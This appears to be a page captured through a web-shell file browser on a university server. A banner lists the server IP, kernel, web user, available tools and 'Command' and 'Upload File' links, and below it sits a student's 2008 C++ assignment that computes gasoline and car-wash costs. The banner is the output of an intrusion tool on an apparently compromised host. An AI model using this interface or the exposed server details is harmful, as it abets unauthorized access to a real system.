Server IP : 172.16.15.8 / Your IP : 3.145.37.219 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/bmmassie/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
//-------------------------------------------------------------------------- // Assignment #2 - VWC Service Station and Car Wash // // Written by B M Massie // September 2008 // // Purpose: To calculate the cost of gasoline, the price of a wash, // the total cost of gasoline and the wash, and the number // of discount points earned. //-------------------------------------------------------------------------- // ----------- Preprocessor Section ----------- #include <iostream> #include <iomanip> #include <cmath> using namespace std; // --------------- Main Function --------------- int main () { // ----- Variables and Constants int numdispts, // number of discount points earned gallons; // number of gallons float numgals, // number of gallons purchased pricewash, // cost of the car wash costofgas, // cost of the gasoline totalcost; // total cost of the gasoline and the car wash char gradesofgas; // regular, premium, or super // ----- Input Phase cout << "\n\n Welcome to the VWC Service Station and Car Wash! \n\n" << endl; cout << "\n\n Enter your amount of gasoline --> "; cin >> numgals; cout << "\n Enter your grade of gasoline (R,r for regular, P,p for premium, S,s for super) --------> "; cin >> gradesofgas; // ----- Processing Phase gallons = static_cast <int> (numgals); if (gallons <= 5) pricewash = 6; else if (5 < gallons && gallons < 15) pricewash = 6 - (gallons - 5) / .10 / 100 * 6; else if (gallons >= 15) pricewash = 0; if (gradesofgas == 'r' || gradesofgas == 'R') costofgas = 3.399 * numgals; else if (gradesofgas == 'p' || gradesofgas == 'P') costofgas = 3.539 * numgals; else if (gradesofgas == 's' || gradesofgas == 'S') costofgas = 3.679 * numgals; totalcost = costofgas + pricewash; if (gradesofgas == 'r' || gradesofgas == 'R') numdispts = 3 * gallons; else if (gradesofgas == 'p' || gradesofgas == 'P') numdispts = 4 * gallons; else if (gradesofgas == 's' || gradesofgas == 'S') numdispts = 5 * gallons; // ----- Output Phase cout << fixed << setprecision(2); // force fixed point format for floats cout << "\n\n~~~~~~~~~~~~~~~VWC Service Station Summary~~~~~~~~~~~~~~~~"<< endl; cout << "\n Grade of Gasoline: " ; if (gradesofgas == 'r' || gradesofgas == 'R') cout << "Regular "; else if (gradesofgas == 'p' || gradesofgas == 'P') cout << "Premium "; else cout << "Super "; cout << "\n Number of gallons purchased: " << setw(5) << numgals; cout << "\n Cost of Gasoline: $ " << setw(5) << costofgas << endl; cout << "\n Price of Car Wash: $ " << setw(5); if (pricewash == 0) cout << "FREE WASH!"; else cout << pricewash; cout << "\n Total Cost: $ " << setw(5) << totalcost << endl; cout << "\n Number of Discount Points: " << numdispts << endl; return 0; }